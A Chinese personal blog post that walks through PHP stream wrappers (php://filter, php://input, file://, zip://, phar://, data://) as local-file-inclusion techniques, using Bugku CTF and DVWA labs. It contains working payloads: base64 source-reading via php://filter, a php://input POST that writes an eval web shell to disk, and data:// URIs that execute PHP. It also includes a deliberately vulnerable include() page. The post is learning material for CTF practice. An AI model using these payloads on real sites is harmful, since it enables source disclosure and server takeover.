Lemon's blog

了解PHP伪协议

Record my learning process of PHP.

字数统计: 1.2k阅读时长: 4 min
2019/08/31 Share

前言:最近做题web题很多都涉及了PHP伪协议,这次就来详细的了解总结一下!


练习每个协议前,相关的配置必须开启或者关闭才不会报错,可以参考这张图片
在这里插入图片描述
下面就来了解PHP伪协议

php://

说明:

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php:// 访问输入输出流,有许多子协议,下面就来学习一下

(一)php://filter

说明:

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

简单来理解就是:php://filter是可以作为一个中间流来处理其他流,可以进行任意文件的读取。而且当使用不同的参数可以达到不同的目的和效果:
在这里插入图片描述
例子可以看PHP官网,特别详细
php://filter

这里通过bugku中的一道题来练习一下
在这里插入图片描述
打开链接后发现?file=show.php,涉及文件包含漏洞,题目中又提示说:flag在index中,那就可以用php://filter中的read参数查看源文件内容

构造payload:

1
?file=php://filter/read=convert.base64-encode/resource=index.php

这里之所以进行base64编码是为了PHP不对其解析,这个payload也是常用的任意读取文件语句,只要将后面的页面修改即可。

可以参考官网的例子构造语句

1
2
3
4
5
6
7
8

<?php
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");

/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>

在这里插入图片描述
解码得出源代码和flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

可以看到源代码中对用户输入的file参数进行了过滤,但是源码中的include函数将用户输入的引入php文件并执行,如果执行不成功,就返回文件的源码,所以才要进行base64编码。

(二)php://input

说明:

php://input 是个可以访问请求的原始数据的只读流,可以读取没有处理过的POST数据。

php://input可以将要执行的语法php代码写在post中提交,下面通过DVWA来练习一下
在这里插入图片描述
若有写入权限,也可以写入一句话木马

1
2
POST DATA
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

file://

说明:

file:// — 访问本地文件系统,当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。

模仿大师傅搭建一个本地靶场

1
2
3
4
5
6
7
<?php

@$file = isset($_GET[file])?$_GET['file']:'ctf.php';
include_once($file);
highlight_file($file);

?>

在这里插入图片描述
在这里插入图片描述
使用file协议访问本地文件,构造payload:

1
http://127.0.0.1/2.php?file=file://D:/PHPstudys/PHPTutorial/WWW/1.txt

访问成功
在这里插入图片描述
也可以用这个靶场来练习php://filter协议

构造payload:

1
http://127.0.0.1/2.php?file=php://filter/read/convert.base64-encode/resource=1.txt

在这里插入图片描述
进行解码
在这里插入图片描述
直接读取也可以

payload:

1
http://127.0.0.1/2.php?file=php://filter/resource=1.txt

在这里插入图片描述

zip://协议

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

phar:// 协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

data:// 协议

data: text/plain,<?php 执行内容 ?>
data://text/plain,
data://text/plain;base64,

在DVWA中进行测试

1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=data:text/plain,<?echo phpinfo()?>

在这里插入图片描述
也可以用base64的格式编码PHP代码

在这里插入图片描述

1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=data:text/plain;base64,PD9lY2hvIHBocGluZm8oKT8%2b

注意要按照这个格式才能成功data://text/plain;base64,还有base64编码后的加号和等号要手动的url编码,否则无法识别。

1
2
+ %2b
= %3d

在这里插入图片描述

http:// & https:// 协议

常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。

在这里插入图片描述


总结:这次学习大致了解了一些PHP伪协议,但还是需要结合一些题目来练习一下,这次就先总结到这,等理解更深后,再来详细总结一下。

CATALOG
  1. 1. php://
    1. 1.0.1. (一)php://filter
    2. 1.0.2. (二)php://input
  • 2. file://
  • 3. zip://协议
  • 4. phar:// 协议
  • 5. data:// 协议
  • 6. http:// & https:// 协议